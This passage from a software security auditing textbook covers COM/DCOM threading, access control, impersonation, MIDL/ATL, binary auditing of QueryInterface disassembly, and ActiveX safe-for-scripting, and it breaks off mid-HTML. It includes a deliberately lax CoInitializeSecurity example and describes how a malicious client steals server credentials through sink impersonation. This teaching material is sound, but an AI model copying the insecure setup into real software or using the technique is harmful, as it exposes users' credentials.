so it can't rely on CoInitializeEx() for properinitialization. In this case, the in-process server must specify at registration what threading models it supports, which is done in the registry value HKEY_CLASSES_ROOT\Classes\<CLSID>\InprocServer32\ThreadingModel. The in-process server can specify one of three options in this value:  Apartment The STA model.  Free The MTA model. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 746  Both An STA or MTA. When an object is created, the COM runtime examines this registry key and tries to put the object in an existing MTA. If the correct apartment isn't present, COM creates a new one of the required type. If this value isn't present, the COM runtime assumes the in-process server requires the STA model. Threading issues come into play when more than one thread can operate on an object; that is, more than one thread is in the same apartment as the object. This issue occurs in-process when both the client and server run in an MTA; however, it can occur out-of-process with an MTA server accessed by more than one client of any type. In both cases, COM developers must make the server object thread safe because any number of threads can be operating on it simultaneously. One more important detail on COM threads is how the COM subsystem manages threads. Like RPC, the COM subsystem manages calls via a pool of worker threads. This means a call can occur on any thread, and developers can't assume that calls in sequence occur on the same thread. So a COM MTA can have no thread affinity, which means it can't make any assumptions about its thread of execution between calls. Threading issues in general are a complex topic, covered in depth in Chapter 13(? [????.]). Keep threading issues in mind when auditing COM objects in the MTA model. Proxies and Stubs COM objects can't directly call routines between different apartment models or across process boundaries. Instead, COM provides an IPC method in the form of proxies and stubs. Much like RPC requests, the COM subsystem handles calling remote components and marshalling data. In fact, DCOM uses the native Windows RPC mechanisms for its COM remoting. On the client side, the code that bundles the data and sends it to the server is referred to as an interface proxy (or sometimes just "proxy") because it looks and acts exactly like the real object to the caller. The proxy has the same interface as the real object. The fact that the proxy is just a stand-in is transparent to the rest of the client application. The server code responsible for decapsulating a request and delivering it to the server application is called a stub. A server application receives a request from a client stub and performs the necessary operations. It then returns a result to the stub, which handles all marshaling and communications. Type Libraries The easiest method of deploying and registering a COM component generally involves using type libraries. A type library describes all the interface and typing information The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 747 for COM objects. It can include a variety of information, such as COM object names, supported interfaces, method prototypes, structures, enumerations, and relevant GUIDs for interfaces and objects. Developers can use type libraries to incorporate components into their applications with minimal effort. Each type library can be registered with the system. Like interfaces and COM classes, they are given a unique GUID to ensure that each type library can be identified. Type library IDs are stored in the registry in HKEY_CLASSES_ROOT\Classes\Typelib, with subkeys identifying the location of the type library. In addition, CLSIDs and interfaces can indicate that a type library applies to them by using the Typelib subkey in their locations in the registry. Type libraries can be in a standalone file (usually with the extension .tlb) or included as a resource in a DLL or executable. As you see later in "Auditing DCOM Applications," type libraries provide a wealth of essential information, especially when you don't have access to the source code. DCOM Configuration Utility The following sections focus on programmatic configuration of DCOM applications. You can also use the DCOM Configuration utility to view and manipulate the registered attributes of DCOM components. To run this utility, type dcomcnfg.exe at the command line or in the Run dialog box. In Windows XP and later, this command starts an instance of the Microsoft Management Console (MMC), as shown in Figure 12-3. Figure 12-3. Viewing all registered DCOM objects [View full size image] The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 748 The DCOM Configuration utility can be used to manipulate all DCOM-related security settings, including the base subsystem security, default component security, and individual component security. This utility should be your starting point for reviewing an installed DCOM application. The Properties dialog box for a COM object shows you the application name, the application ID, security permissions associated with the object, and more useful tidbits of information you need to evaluate application exposure (see Figure 12-4). Figure 12-4. Viewing properties of COM objects DCOM Application Identity Unlike local COM, a remote COM server often doesn't run under the access token of the launching user. Instead, the base identity is designated by the DCOM object's registration parameters. A DCOM server can run in these four user contexts: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 749  Interactive user This context causes the application to run as whichever user is currently logged on. If no users are logged on, the application can't be started.  Launching user This context causes the application to run with the credentials of the user who's launching the server. If no identity is established in the registry, this context is the default setting.  Specified user This context causes the application to be launched by using a specific user's identity, no matter who the launching user is. The credentials of the target user are required to configure this context.  Service The application DCOM server is hosted inside a service and runs under a local service account. Generally, running as the launching user is the simplest, most secure option. This context causes the application to impersonate the launching user; however, accessing objects across the network from the server fails in Windows 2000 and earlier because of the lack of impersonation delegation. Long-lived COM servers might require running under a local service account or a specified account. In Windows XP and later, the network service account is often used. Developers can also create a tightly restricted account for the DCOM object. The most dangerous application identity is probably the interactive user because any method of running arbitrary code results in unrestricted impersonation of the interactive user. This identity is especially dangerous if the COM interface allows remote access. If you encounter this identity setting, examine all interfaces closely. Pay special attention to any capabilities (intentional or otherwise) that allow code execution or arbitrary file and object manipulation. DCOM Subsystem Access Permissions Starting with Windows XP SP2 and Windows Server 2003 SP1, Microsoft provides granular system-wide access control for DCOM, which can be accessed through the DCOM configuration in the System Properties dialog box. To manipulate these system-wide settings, click the Edit Limits buttons on the Security tab. These configuration parameters supersede the default and component-specific settings, so they can be used to completely restrict DCOM access. The access rights are summarized in Table 12-5. Table 12-5. COM Object Access Rights Access Right Meaning COM_RIGHTS_EXECUTE Allows users to make calls on a COM interface. COM_RIGHTS_EXECUTE_LOCAL Required to allow local clients to make calls on a COM interface. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 750 Table 12-5. COM Object Access Rights Access Right Meaning COM_RIGHTS_EXECUTE_REMOTE Required to allow remote clients to make calls on a COM interface. COM_RIGHTS_ACTIVATE_LOCAL Required to allow local clients to activate the interface. COM_RIGHTS_ACTIVE_REMOTE Required to allow remote clients to activate the interface. The COM_RIGHTS_EXECUTE right is required for remote COM to function at all. The default assignment of the remaining rights allows only administrators to activate and launch remote COM objects. However, all users are allowed to launch local COM objects and connect to existing remote objects. Earlier versions of Windows support only the COM_RIGHTS_EXECUTE permission. DCOM Access Controls You've already learned how RPC can use native Windows access control mechanisms to provide fine-grained authentication and authorization. DCOM makes use of this same infrastructure for its own access control features. However, DCOM authorization comes into play in a slightly different manner: at activation time and call time. Activation A DCOM object must be instantiated before a client can receive an interface pointer to it and before any of its methods can be called by that client. Usually, this instantiationcalled activationis done via RPC. The RPC subsystem locates the DCOM server a client is trying to access and launches it if it's not already running. The Service Control Manager (SCM) determines whether the requesting principal is allowed to launch the object by examining the launch permission ACL for the requested class. This ACL is maintained in the registry key HKEY_CLASSES_ROOT\APPID\<APPID>\LaunchPermission. The LaunchPermission value might be absent if no special permissions are required. If so, the class inherits the default permissions. This ACL is stored in the system registry at HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\DefaultLaunchPermission. Note A DCOM server can't set launch permissions programmatically for the current call. Generally, the installing application or system administrator sets these permissions The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 751 programmatically or with the DCOM Configuration utility. Therefore, insufficient launch permissions fall into the operational vulnerability classification. Invocation After a DCOM object is activated, developers can apply additional levels of control by enforcing call-level security, which controls the principals allowed to make interface calls on a specific object. There are two ways to enforce call-level security: through registry key settings and programmatically. The first method involves consulting the registry. First, the ACL for the application is checked, which is in the registry key HKEY_CLASSES_ROOT\APPID\<APPID>\AccessPermission. If this value is absent, application access has no special security requirements, and the default ACL is applied from the Registry key HKEY_LOCAL_MACHINE\Software\Microsoft\OLE\DefaultAccessPermission. These registry keys are set manually or via the DCOM Configuration utility. The other way to enforce call access permissions is programmatically with the CoInitializeSecurity() function: HRESULT CoInitializeSecurity(PSECURITY_DESCRIPTOR pVoid, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void * pReserved1, DWORD dwAuthLevel, DWORD dwImpLevel, SOLE_AUTHENTICATION_LIST *pAuthList, DWORD dwCapabilities, void * pReserved3) The CoInitializeSecurity() function gives developers extensive control over the basic security of COM objects. The security measures this function puts in place are process wide; that is, if a process has multiple DCOM object interfaces exposed, all interfaces are affected by a call to this function. The first argument actually provides the majority of the security capability. Although the prototype indicates that this argument is a pointer to a security descriptor, it can also point to two other structures: an AppID structure or an IAccessControl object. When an AppID structure is specified, the relevant AppID is located in the registry and permissions are applied according to the subkey values stored there. An IAccessControl object is a system-provided DCOM object that supplies methods for enforcing restrictions on other interfaces. The client can call CoInitializeSecurity() only once, and any attempt to call it again fails. Note Remember that CoInitializeSecurity() restrictions are applied to every interface the calling process has registered. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 752 In addition to security descriptor settings, quite a few other security restrictions can be put in place with CoInitializeSecurity(). The dwAuthLevel parameter can also be used to enforce certain authentication levels. DCOM uses the same authentication levels as RPC, so they aren't repeated here. Refer to the "RPC Servers(? [????.])" section earlier in this chapter for details on these authentication levels. The downside of CoInitializeSecurity() is that it can be called only once and affects all DCOM calls in the current process. However, to modify authentication behavior on a per-proxy basis, clients can also use the CoSetProxyBlanket() function, which has the following prototype: HRESULT CoSetProxyBlanket(IUnknown * pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, WCHAR * pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities) This function operates similarly to CoInitializeSecurity(), except the authentication parameters affect only the proxy indicated by the pProxy argument rather than every proxy interface a client uses. Also, unlike CoInitializeSecurity(), CoSetProxyBlanket() can be called more than once. Impersonation in DCOM DCOM allows servers to impersonate clients by using the underlying RPC implementation. A DCOM application enforces impersonation levels programmatically and through the use of registry settings. Registry settings provide initial security requirements, but they can be overridden programmatically while the application is running. You might have noticed that both CoInitializeSecurity() and CoSetProxyBlanket() have a dwImpLevel parameter. This parameter allows clients to specify the impersonation level, and it works just as it does in RPC. This parameter is simply passed to the underlying RPC transport, discussed earlier in this chapter. However, impersonation can be performed only if the authentication level is RPC_C_IMP_LEVEL_IMPERSONATE or higher; the default value is C_IMP_LEVEL_IDENTIFY. In addition to the standard IPC impersonation issues, DCOM objects might be more at risk from impersonation attacks. As Michael Howard and David Leblanc point out in Writing Secure Code, a server application is likely to act as a client when an event source/sink pair is set up and interfaces are passed as arguments to a server process. For those unfamiliar with sources and sinks, they are older COM mechanisms for handling asynchronous events through the use of connection points. A connection The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 753 point is simply a communication channel an object can establish with another object. You've seen examples of the client making calls to a server and receiving a result immediately. Sometimes, however, the server needs to advise the client that an event has occurred. This event might be based on a user action, or it might indicate that a time-consuming operation is finished. In this situation, the client exposes its own COM interface and passes it to the server. When the server wants to indicate an event occurred, it simply calls a method in this interface. To do this, the server must be a connectable objectthat is, expose the IConnectionPoint interface (among several others). The server's outgoing interface for a connection point is called a source, and the client's receiving interface is called a sink. The problem with this process is that the server is now a client, and its impersonation level is just as important as the client's. If a malicious client connects to an unprotected server, it can use CoImpersonateClient() in its sink interface to steal the server's credentials. Remember, the server needs to set fairly lax permissions to be vulnerable to this type of attack, as in the following example: BOOL InitializeCOM(void) { HRESULT rc; rc = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED); if(FAILED(rc)) return FALSE; rc = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_AUTHN_LEVEL_NONE, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL); if(FAILED(rc)) Return FALSE; return TRUE; } If a server (or a client) for a connectable object initializes COM security as in this example, impersonation vectors are a definite threat because they might allow connecting clients to steal credentials. This type of attack is one of the main reasons for Microsoft's introduction of COM cloaking and RPC_C_IMP_LEVEL_DELEGATE. MIDL Revisited MIDL was introduced in "Microsoft Interface Definition Language(? [????.])" earlier in this chapter. IDL is primarily intended to express RPC interfaces, but it can also be The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 754 used to describe COM interfaces. In fact, the MIDL compiler has language support for the Object Description Language (ODL), which can be used to represent objects as well as RPC interfaces. When auditing COM applications, you might see some COM object interfaces expressed in IDL, so this section reviews some of the main attributes and keywords for expressing COM objects. The most important difference between COM ODL and RPC IDL is the presence of the object attribute in the IDL header. This keyword indicates that the interface is a COM object and directs the MIDL compiler to generate a COM proxy and stub, as opposed to RPC client/server stubs. The other main difference is indicating that the interface is derived from another interface. Remember that all COM objects are derived from IUnknown; so you must indicate that in the interface definition. Note Instead of being derived directly from IUnknown, COM objects can be derived from another class. However, the parent class is directly or indirectly derived from IUnknown. Putting this together, a sample COM interface definition in an IDL file might look something like this: import "iunknwn.idl" [ object, uuid(12345678-1234-1234-1234-123456789012), ] interface IBankAccountObject : IUnknown { BOOL LoadDetails([in] PUSER_DETAILS userDetails); BOOL GetBalance([out] PBALANCE balanceInfo); BOOL GetHistory([out] PHISTORY historyInfo); ... other methods ... } As you can see, it looks a lot like an RPC interface definition. The most important part is locating all the available interface methods and determining what arguments they The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 755 take. Then you must examine the implementation of each function to identify any vulnerabilities. In addition to defining just the interfaces, objects themselves can also be expressed. The coclass keyword is used to represent a COM object. The class definition contains a list of interfaces the object implements. Returning to the previous example of the bank interface, the class definition would follow the interface definition and look something like this: [ uuid(87654321-4321-4321-4321-210987654321), version(1.0), helpstring("Bank Account Class") ] coclass CBankAccount { [default] interface IBankAccountObject; } This simple example shows the definition of the COM class CBankAccount. This object's CLSID is indicated by the uuid attribute. This class implements only one interface: IBankAccountObject. Note The default attribute listed before the interface definition is optional and doesn't need to be there. It simply indicates that IBankAccountObject is the default interface for the CBankAccount class. Other interface-specific attributes can be used; for more information, read the COM section of the MSDN. Reviewing the code for a class exposing multiple interfaces requires examining each interface separately because the interfaces' functionality might be exposed to untrusted (or semitrusted) clients. Type library information is also generated by using MIDL. Specifically, the library keyword can be used to create a .tlb file, like so: library libname { importlib("stdole.tlb"); The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 756 interface IMyInterface1; coclass CClass; ... other stuff you want to appear in the TLB ... } This section doesn't delve into the syntax for library definitions. When you have the source code, the type library doesn't offer much additional information. After all, you already know the available objects and their interfaces from looking at the rest of the IDL data. Active Template Library The Active Template Library (ATL) is another approach developers can use for developing COM applications. It allows developers to define interfaces in their code and automatically takes care of many of the more tedious aspects of implementing COM interfaces. For example, ATL can be used to automatically generate the IUnknown member functions QueryInterface(), AddRef(), and Release(). It can also be used to generate code for several other interfaces, such as IClassFactory. ATL is used extensively, so you need to be able to identify COM interfaces in ATL-generated code. As it turns out, this is easy. All you need to be familiar with is the COM_MAP macro used to define a COM object; a COM object definition using COM_MAP looks something like this: BEGIN_COM_MAP(CObjectName) COM_INTERFACE_ENTRY(IMyInterface1) COM_INTERFACE_ENTRY(IMyInterface2) END_COM_MAP() Simple, right? You can easily see that the COM object CObjectName is being declared, and it exposes two interfaces: IMyInterface1 and IMyInterface2. From there, all you need to do is locate the methods for each interface entry in the COM MAP. Each COM_INTERFACE_ENTRY() in the COM_MAP is an interface definition from an IDL file, which is generated by the development environment when ATL wizards are used. When ATL is used to auto-generate COM objects, you have the IDL data at your disposal as well. Auditing DCOM Applications Now that you're familiar with the general structure of COM programming and security measures, you need to walk through the most effective ways of auditing COM client and server programs. Auditing COM servers isn't too different from auditing RPC servers; you need to address the following questions: The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 757  Are sufficient access controls in place to restrict the interface to authorized parties?  Are the exposed interface functions secure?  Is impersonation being used properly, or does it pose a risk?  What launching rights are granted to the server?  Are there any threading or synchronizations issues that could be exploited? You can break down this list of requirements into the following steps: 1. Check DCOM application security settings programmatically or by using the DCOM Configuration utility. 2. Examine how CoInitializeSecurity() is called (if it's called) to back up your findings from the registry. This step also sheds some light on what sort of impersonation defaults are enforced. 3. Locate the interface routines exposed by the COM server and apply the standard vulnerability-auditing methods you've learned in this book. When determining the security of interface functions, you should look for the issues described in the following sections. COM Registration Review Now that you know how access controls can be applied to COM objects, it should be evident that determining whether access controls aren't secure is a two-step process: examining the activation access controls and examining the call-level access controls. Activation access controls aren't in the application code; they reside in the registry. Although you might not have access to the target machines the application will be installed on, an install procedure should be in place to govern who can activate the object. COM applications are often self-registering. That is, they can perform their own registration automatically so that manual setup isn't required. To do this, they export a pair of functions, DllRegisterServer() and DllUnregisterServer(), in one of the binary files bundled with the application. The DllRegisterServer() function contains code to make registration settings. The DllUnregisterServer() function does the reciprocalremoving all registration established in DllRegisterServer(). A COM application providing this interface is installed and removed with the regsvr32.exe program. When this program starts, it locates the DllRegisterServer() routine in the specified binary and runs it, thus removing the requirement for manual registration. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 758 Note ActiveX controls are self-registering COM objects. This just means users don't need to run the regsvr32 application because Internet Explorer does so automatically when downloading a new component. ActiveX controls are covered in "ActiveX Security" later in this chapter. After the application is installed, you can use standard Windows utilities to inspect security settings. The easiest approach is to use the DCOM Configuration utility; however, the associated registry keys can be manipulated directly. These keys are located at HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\<AppID>. Table 12-6 lists the MSDN-provided values that affect a server's DCOM security parameters. Table 12-6. COM Registry Values Named Value Description AccessPermission Sets an ACL that determines access. ActivateAtStorage Configures client to activate on the same system as persistent storage. AppID Identifies the AppID GUID that corresponds to the named executable. AuthenticationLevel Sets the authentication level for the AppID, overriding LegacyAuthenticationLevel. Available only on Windows NT 4.0 SP4 and later versions. DllSurrogate Specifies that a DLL server is to use a surrogate.exe file. If the path is not specified, the system-provided surrogate is used. DllSurrogateExecutable Specifies that a DLL server is to use a custom surrogate.exe file. If the custom file is not specified, the system-provided surrogate is used. Endpoints Configures a COM application to use a specified TCP port number for DCOM communications. LaunchPermission Sets an ACL that determines who can launch the application. LocalService Sets the application as a Win32 service. RemoteServerName Sets the name of the remote server. RunAs Sets an application to run only as a given user. ServiceParameters Sets parameters to be passed to a LocalService on call. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 759 Table 12-6. COM Registry Values Named Value Description SRPTrustLevel Sets the trust level of the software restriction policy (SRP). Available only on Windows XP and later versions. You have already seen that you can determine the launching identity of a COM application by checking the RunAs and LocalService keys listed in Table 12-6. These keys are usually absent, so the default action is taken, which causes the COM application to run in the context of the launching user. Running in this context roughly equates to a standard local process execution and generally requires no further inspection. However, further inspection is needed if the COM subsystem allows remote users to launch COM objects, as vulnerabilities in these methods could result in remote process execution. The remaining options might require far more inspection, particularly long-lived DCOM applications that run inside services. Auditing COM Interfaces Auditing the actual implementation of COM objects is one of the most critical components of auditing a COM-based application. After all, a vulnerability in the implementation of the functions could allow attackers to undermine all external access controls and the underlying system's integrity. The choice of authentication and impersonation parameters can reduce the impact of attacks. However, all exposed interfaces still need to be audited for the general classes of vulnerabilities discussed elsewhere in this book. COM Source Audits Auditing the source code makes your review easier because you can read interface definitions from IDL files or read the ATL definitions. From there, you can refer to the source code to find the implementation of relevant functions and determine whether the object exposes any vulnerabilities. COM Binary Audits You might be required to perform binary audits of COM applications. The principles for auditing a COM application (and indeed any application) are the same whether you have the binary or source code. However, the extra steps in the binary audit can be a major hurdle. With that in mind, this section gives you a brief summary of identifying and auditing COM interfaces as they appear in binary files. Say you're auditing a COM application, and you want to identify which interfaces the object exposes, what methods are available in each interface, and what type of The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 760 arguments they take. The most useful source of information is type libraries, if they are available. Note Type libraries are always available for automation objects because the IDispatch interface needs to publish the information in them. As mentioned previously, the type library information might be stored in a separate file. However, most often it's stored as a resource in the executable or DLL that implements the object. You can find the location of a type library by consulting the HKEY_CLASSES_ROOT\CLSID\<CLSID>\TypeLib key. Note The HKEY_CLASSES_ROOT\Interface key can also contain a TypeLib key. This key provides a TypeID GUID value that matches a subkey in HKEY_CLASSES_ROOT\TypeLib. This key has a version subkey indicating the location of the type library. If it's embedded in an executable, you can simply view it with a PE resource viewer (such as PE Editor at www.heaventools.com). This library information is especially useful because it gives you GUIDs, structure definitions, methods exposed by interfaces, and even type information for arguments to those methods. After you have this information, you need to determine how to find the methods to audit in the binary. The first method is by locating entry points. An executable that implements a COM object must register each class object by using the CoRegisterClassObject() function. This requires indicating a CLSID along with a pointer to the class's IUnknown interface. By locating instances of CoRegisterClassObject(), you can find the vtable for IUnknown and then read the QueryInterface() function to learn about other interfaces the object exposes. In fact, the QueryInterface() function exported by an object is always useful because it must return pointers to all its supported interfaces. So another way to locate functions exported by an object is to find the QueryInterface() implementation in the COM server to see how it handles requests for different IIDs. Remember, access to any interface other than IUnknown is done via the QueryInterface() function, so the implementation always looks something like this: HRESULT QueryInterface(REFIID iid, void **ppvObject) { The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 761 if(iid == IID_IMyInterface1) { *(IMyInterface1 *)ppvObject = this; AddRef(); return NOERROR; } *ppvObject = NULL; return E_NOINTERFACE; } Because the second argument always points to an interface upon success, you can find every assignment for this argument and deduce which functions are exported. Take a look at a practical example. The following disassembly is taken from C:\Windows\System32\wiaacmgr.exe, which hosts a COM server on a Windows XP machine (CLSID 7EFA65D9-573C-4E46-8CCB-E7FB9E56CD57). The code is divided into parts so that you can see what's going on more easily. In this first part, the QueryInterface() function is initialized. As you can see, all that's done at this point is setting the ppvObject parameter to NULL so that it doesn't initially point to any interface: .text:010054C5 QueryInterface proc near ; CODE XREF: .text:0100A7F7j .text:010054C5 ; DATA XREF: .text:off_100178Co .text:010054C5 .text:010054C5 this_ptr = dword ptr 8 .text:010054C5 riid = dword ptr 0Ch .text:010054C5 ppvObject = dword ptr 10h .text:010054C5 .text:010054C5 mov edi, edi .text:010054C7 push ebp .text:010054C8 mov ebp, esp .text:010054CA mov edx, [ebp+ppvObject] .text:010054CD push ebx .text:010054CE push esi .text:010054CF mov esi, [ebp+riid] .text:010054D2 push edi .text:010054D3 xor ebx, ebx .text:010054D5 push 4 .text:010054D7 pop ecx .text:010054D8 mov edi, offset IID_IUnknown .text:010054DD xor eax, eax .text:010054DF mov [edx], ebx ; *ppvObject = NULL; The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 762 This next part of the code compares the riid argument against IID_IUnknown. If the comparison succeeds ppvObject is set to point to the current (this) object. The jmp instruction at the end jumps to the function epilogue, which returns a successful result: .text:010054E1 repe cmpsd .text:010054E3 jnz short loc_10054F2 ; test for IID_IUnknown .text:010054E5 .text:010054E5 loc_10054E5: ; CODE XREF: QueryInterface+3Cj .text:010054E5 mov eax, [ebp+this_ptr] .text:010054E8 .text:010054E8 loc_10054E8: ; CODE XREF: QueryInterface+5Bj .text:010054E8 mov [edx], eax ; *ppvObject = this; .text:010054EA mov ecx, [eax] .text:010054EC push eax .text:010054ED call dword ptr [ecx+4] ; call AddRef() .text:010054F0 jmp short loc_100552A Evidently, this object has two interfaces in addition to IUnknown. This next part of the code compares the riid argument against two more interface IDs. If there's a match, the ppvObject parameter is set to the this object pointer and a successful return happens: .text:010054F2 loc_10054F2: ; CODE XREF: QueryInterface+1Ej .text:010054F2 mov esi, [ebp+riid] .text:010054F5 push 4 .text:010054F7 pop ecx .text:010054F8 mov edi, offset IID_Interface1 .text:010054FD xor eax, eax .text:010054FF repe cmpsd .text:01005501 jz short loc_10054E5 ;test IID_Interface1 .text:01005503 mov esi, [ebp+riid] .text:01005506 push 4 .text:01005508 pop ecx .text:01005509 mov edi, offset IID_Interface2 .text:0100550E xor eax, eax .text:01005510 repe cmpsd ; test IID_Interface2 .text:01005512 jnz short loc_1005522 ; go to failure .text:01005514 mov eax, [ebp+this_ptr] .text:01005517 lea ecx, [eax+4] .text:0100551A neg eax The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 763 .text:0100551C sbb eax, eax .text:0100551E and eax, ecx .text:01005520 jmp short loc_10054E8 ; *ppvObject = this; Note The second interface causes ppvObject to be set to the this pointer with 4 added to it. If there's no match, the riid argument is deemed invalid, and the jnz instruction bolded in the previous code causes a jump to an error epilogue that returns the error E_NOINTERFACE, as shown in the following code snippet: .text:01005522 loc_1005522: ; CODE XREF: QueryInterface+4Dj .text:01005522 and dword ptr [edx], 0 .text:01005525 mov ebx, 80004002h ; E_NOINTERFACE .text:0100552A .text:0100552A loc_100552A: ; CODE XREF: QueryInterface+2Bj .text:0100552A pop edi .text:0100552B pop esi .text:0100552C mov eax, ebx .text:0100552E pop ebx .text:0100552F pop ebp .text:01005530 retn 0Ch .text:01005530 QueryInterface endp By finding QueryInterface(), you can figure out what interfaces are available based on how the ppvObject parameter is set. You don't even have to read the QueryInterface() code in many cases. You know that QueryInterface() is part of the IUnknown interface, and every COM interface must inherit from IUnknown. So vtable cross references to QueryInterface() are often COM interfaces, allowing you to focus on finding all cross-references to the QueryInterface() function. In the preceding code, there are two cross-references to QueryInterface(), which fits with what you learned from examining the code. Following one of these cross-references, you see this: .text:0100178C off_100178C dd offset QueryInterface ; DATA XREF: sub_100A6B7+Do .text:0100178C ; sub_100A9AF+13o .text:01001790 dd offset sub_1005468 .text:01001794 dd offset sub_1005485 .text:01001798 dd offset sub_1005538 The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 764 .text:0100179C dd offset sub_1005582 .text:010017A0 dd offset sub_10055CC .text:010017A4 dd offset sub_100ACA1 This code is a table of function pointers, as you expected, for one of the COM interfaces the object exposes. The two functions under QueryInterface() are AddRef() (sub_1005468) and Release() (sub_1005485): the other two IUnknown functions. These three functions are always at the top of every exposed COM interface vtable. Similarly, DLL objects need to expose the DllGetClassObject() function. The responsibility of this function is to provide an interface pointer for an object, given a CLSID and an IID. Therefore, by reading through this function, you can find what classes are supported as well as what interface IDs are supported on each object. Typically, DllGetClassObject() implementations look something like this example taken from MSDN at http://windowssdk.msdn.microsoft.com/library/en-us/com/html/42c08149-c251-47 f7-a81f-383975d7081c.asp: HRESULT_export PASCAL DllGetClassObject (REFCLSID rclsid, REFIID riid, LPVOID * ppvObj) { HRESULT hr = E_OUTOFMEMORY; *ppvObj = NULL; CClassFactory *pClassFactory = new CClassFactory(rclsid); if (pClassFactory != NULL) { hr = pClassFactory->QueryInterface(riid, ppvObj); pClassFactory->Release(); } return hr; } An object is usually instantiated and then queried for the specified IID. Therefore, initialization functions are commonly called from DllGetClassObject(), which sets up vtables containing the COM object's exposed methods. There are certainly other methods for finding object interfaces, although sometimes they're less precise. For example, if you know the IID of an interface you want to find an implementation for, you could simply do a binary search for some or all of that IID, The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 765 and then follow cross-references to methods using that IID. Often a cross-reference points to the QueryInterface() routine where that IID can be requested. Automation Objects and Fuzz Testing Automation objects are required to publish type information from their type libraries. This means clients can learn about all the callable methods and argument types they take just by asking the object for its type information. Therefore, by having a client that asks for this information and then using it to stress-test each available method, you could quickly find vulnerabilities in the application. It turns out that a tool exists to do just this. Frederic Bret-Mounet designed and developed the COMbust tool, which he spoke about at the Blackhat Briefings conference in 2003. This tool takes any automation object specified by a user and does some basic fuzz testing on any methods it identifies. It's configurable, so users can tune it to test for specific conditions, and is available at www.blackhat.com/html/bh-media-archives/bh-archives-2003.html. Another easy way to locate a QueryInterface() implementation without reading any code is to do a text search on the relevant binary code for the E_NOINTERFACE value (80004002). Any match for this number is usually a QueryInterface() implementation returning an error or a client checking for this error when it has called QueryInterface() on an object. By the context of the match, you can easily tell which it is. ActiveX Security An ActiveX control is simply a self-registering COM object deployed inside another application, such as a Web browser. The "Active" part of the name comes from the fact that these objects can register themselves, thus simplifying their deployment. Most ActiveX controls also expose IDispatch interfaces so that they can be instantiated and manipulated easily by scripting languages. Generally, these controls are hosted in Internet Explorer, although they can be hosted inside any application. ActiveX is an important Windows technology with serious security implications explored in the following sections. Note Changes to Internet Explorer 6 and the upcoming Internet Explorer 7 do a lot to mitigate the dangers of ActiveX controls. Internet Explorer 7 introduces site-based opt-in for controls to prevent a malicious site from instantiating installed controls. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 766 ActiveX Code Signing An ActiveX control is just a bundle of binary code that runs in the context of instantiating user. Because of the potential danger of running native code, Microsoft designed ActiveX controls to support validation through an Authenticode signature. Developers can sign controls with their private keys, and users can validate the source of the unmodified control. This signature doesn't in any way state that the control is free of vulnerabilities, and it doesn't prevent the control from being malicious. It just means there's a verifiable paper trail leading back to the developer. Safe for Scripting and Safe for Initialization In addition to code signing, ActiveX controls have a few additional parameters to limit their attack surface when deployed inside Internet Explorer. These parameters are termed "safe for scripting" and "safe for initialization." There are two ways to mark interfaces as safe. The first is performed at installation by modifying the registry key HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\<GUID of control class>\Implemented Categories\<GUID of category>. The safe for scripting category GUID is {7DD95801-9882-11CF-9FA9-00AA006C42C4}, and the safe for initialization category GUID is {7DD95802-9882-11CF-9FA9-00AA006C42C4}. The second approach to marking a control as safe requires that the control implement the IObjectSafety interface, which exposes the GetInterfaceSafetyOptions() method to the hosting container. The hosting container calls this method to determine whether a specific interface is marked as safe for scripting or initialization and can also request that the control be marked as safe by calling the IObjectSafety.SetInterfaceSafetyOptions() method. Any control marked as safe for scripting can be instantiated and manipulated in Internet Explorer. Microsoft advises marking a control as safe for scripting only if it must be manipulated from Internet Explorer and doesn't provide any means for unauthorized parties to alter the state of the local system or connected systems. This guidance is given because a safe for scripting control exposes its methods to any site users view, so attackers can leverage the functionally exposed by a control to exploit client users. For example, say a scriptable control allows the manipulation of arbitrary files. This issue might be part of a faulty design or the result of a vulnerability in path checking. Regardless, it would present an unacceptable vulnerability for an ActiveX control because it allows any remote attacker to drastically alter the victim's system after connecting to a malicious Web site. When reviewing ActiveX controls, you need to treat every scriptable method as attack surface and assess them as you would any other potentially vulnerable code. The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 767 ActiveX controls can also store and retrieve data between instantiations by using the IPersist interface, which is exposed to controls marked as safe for initialization. Microsoft advises marking a control as safe for initialization only if it must store persistent data internal to Internet Explorer and it handles this data properly. A security vulnerability can occur if the object stores sensitive data and exposes it to an untrusted source or if a control fails to treat persistent data as data originating from an untrusted source. Some people might be a little fuzzy on why a control must be separately marked as safe for initialization. After all, the control is just a binary, so it can call any Windows API function on its own. This means it can read the registry or file system without the need for an IPersist interface, so exposing sensitive data is still a concern. However, a control can be initialized with parameters provided by a Web site, as shown in this HTML fragment that instantiates a control: <OBJECT ID="MyControl" 